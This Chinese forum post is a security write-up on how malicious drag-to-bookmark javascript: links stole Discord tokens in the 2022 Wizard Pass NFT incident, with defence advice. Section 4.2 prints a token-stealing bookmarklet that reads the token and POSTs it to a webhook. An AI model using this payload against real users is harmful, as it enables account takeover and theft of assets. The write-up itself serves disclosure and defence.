返回论坛

浏览器书签劫持:Discord Token 窃取技术分析与防御指南

查找币 漏洞披露 安全研究 Web3安全 区块链安全

查找币安全研究院

钱包恢复评估 | 链上取证分析 | Web3 事件响应
以合法授权、证据保全、隐私保护和可复核流程为前提,不要求用户在线提交完整私钥或助记词。

查看研究院 研究报告中心
> 本文由查找币安全团队整理发布 ## 一、攻击背景:黑暗森林中的潜伏威胁 在区块链的世界里,黑暗森林法则时刻生效。作为 Web3 生态的参与者,即便我们自身不主动作恶,也必须深刻理解攻击者的攻击路径与手法。查找币安全团队此前发布的《区块链黑暗森林自救手册》中,已多次提及针对 NFT 项目方 Discord 社区的钓鱼攻击手法。本文将深入剖析其中一种高危攻击方式——**恶意浏览器书签窃取 Discord Token**,揭示其技术原理、攻击流程及防护措施。 ## 二、真实案例:Wizard Pass 社区被黑事件 2022 年 3 月 14 日,NFT 项目 Wizard Pass 的 Discord 社区遭攻击者入侵。攻击者利用窃取的项目方 Discord 账号权限,发布虚假链接诱导用户访问钓鱼网站,最终导致 BAYC、Doodles、Clone X 等系列 NFT 被盗。安全研究员 Sentinel 在分析中指出,本次攻击的核心载体正是 **bookmark(浏览器书签)**。 攻击者将恶意 JavaScript 代码伪装成书签,当 Discord 用户点击该书签时,恶意代码便在该用户的 Discord 域内执行,窃取用户的 Discord Token。攻击者获取 Token 后即可完全接管该账号,发布钓鱼公告、创建 webhook 机器人等,形成完整的攻击链条。 ## 三、技术原理:书签为何成为“特洛伊木马” ### 3.1 书签执行机制与同源策略绕过 现代浏览器内置书签管理器,允许用户收藏页面链接。攻击者利用这一功能,构造包含 `javascript:` 协议的书签。当用户点击此类书签时,浏览器会以**当前标签页的域**执行书签中的 JavaScript 代码。 **关键漏洞点:** 浏览器同源策略(Same-Origin Policy)通常限制跨域脚本执行,但书签中的 `javascript:` 协议却绕过了这一限制。这意味着,即使受害者当前访问的是 `discord.com`,点击恶意书签后,代码仍然可以在 `discord.com` 域下执行。 ### 3.2 书签添加方式对比 | 添加方式 | 安全风险 | |---------|---------| | 手动添加 | 用户可直接看到书签 URL 中的 `javascript:` 协议,具备一定警惕性 | | 拖拽添加 | 用户仅看到“Drag this to your bookmarked”诱导提示,无法直接预览恶意代码 | ### 3.3 拖拽添加的代码实现 攻击者只需构造如下 HTML 元素: ```html 点击添加书签 ``` 用户拖拽该链接到书签栏时,浏览器(尤其是 Chrome)**不会弹出任何安全警告**。Firefox 浏览器在添加 `javascript:` 协议书签时会弹出编辑确认窗口,安全性相对较高。 ### 3.4 CSP 策略的失效 内容安全策略(CSP)通常用于防止 XSS 攻击,但书签执行的 JavaScript 代码**不受 CSP 限制**。这意味着即使 Discord 网站配置了严格的 CSP,恶意书签仍能绕过防御执行。 ## 四、攻击全流程演示 ### 4.1 攻击链 1. **诱导阶段**:攻击者创建钓鱼页面,引导用户拖拽“书签”到浏览器书签栏 2. **触发阶段**:用户登录 Discord Web 端后,点击该恶意书签 3. **窃取阶段**:恶意 JavaScript 代码执行以下操作: - 读取 `document.cookie` 中的 Token - 调用 `localStorage` 获取存储的 Token - 通过 Discord Webhook 将 Token 发送至攻击者服务器 4. **接管阶段**:攻击者利用 Token 直接登录受害者 Discord 账号,发布虚假消息、创建 webhook 机器人 ### 4.2 恶意代码示例(已脱敏) ```javascript javascript: (() => { const token = document.cookie.match(/token=([^;]+)/)[1]; const webhookUrl = 'https://discord.com/api/webhooks/...'; fetch(webhookUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ content: `Token: ${token}` }) }); })(); ``` ## 五、Token 失窃的严重后果 获取 Discord Token 等同于获得该账号的完全控制权。攻击者可: - 直接登录账号,无需密码和 2FA - 发布任意消息,包括钓鱼链接 - 创建和管理 webhook 机器人 - 修改服务器设置、踢出用户等 ## 六、防护建议与应急响应 ### 6.1 用户侧防护 1. **立即行动**(如已中招): - 立即重置 Discord 账号密码 - 重新登录以刷新 Token(旧 Token 自动失效) - 删除并重建所有已泄露的 webhook 链接 - 检查并删除浏览器中的可疑书签 2. **日常防护**: - 对任何要求“拖拽添加书签”的操作保持高度警惕 - 定期检查书签栏,删除 `javascript:` 开头的书签 - 使用 Firefox 浏览器(其对恶意书签有安全提示) - 开启 Discord 2FA 验证,但注意 Token 窃取可绕过 2FA ### 6.2 项目方防护 - 限制 Discord 管理员账号的权限范围 - 定期更换 webhook 链接 - 监控账号异常登录行为 - 对社区成员进行安全意识培训 ## 七、总结 浏览器书签作为便捷功能,其 `javascript:` 协议的执行机制构成了严重的安全隐患。攻击者利用用户对书签的信任,绕过同源策略和 CSP 防护,实现 Token 窃取。在 Web3 黑暗森林中,每一次点击都可能成为资产被盗的导火索。 查找币安全团队将持续揭露此类攻击手法,帮助加密世界参与者提升安全防护能力。请记住:**任何看似友好的添加操作,都可能隐藏着恶意代码。保持怀疑,就是最好的防御。** --- *本文由查找币安全团队整理发布*
在论坛中查看和回复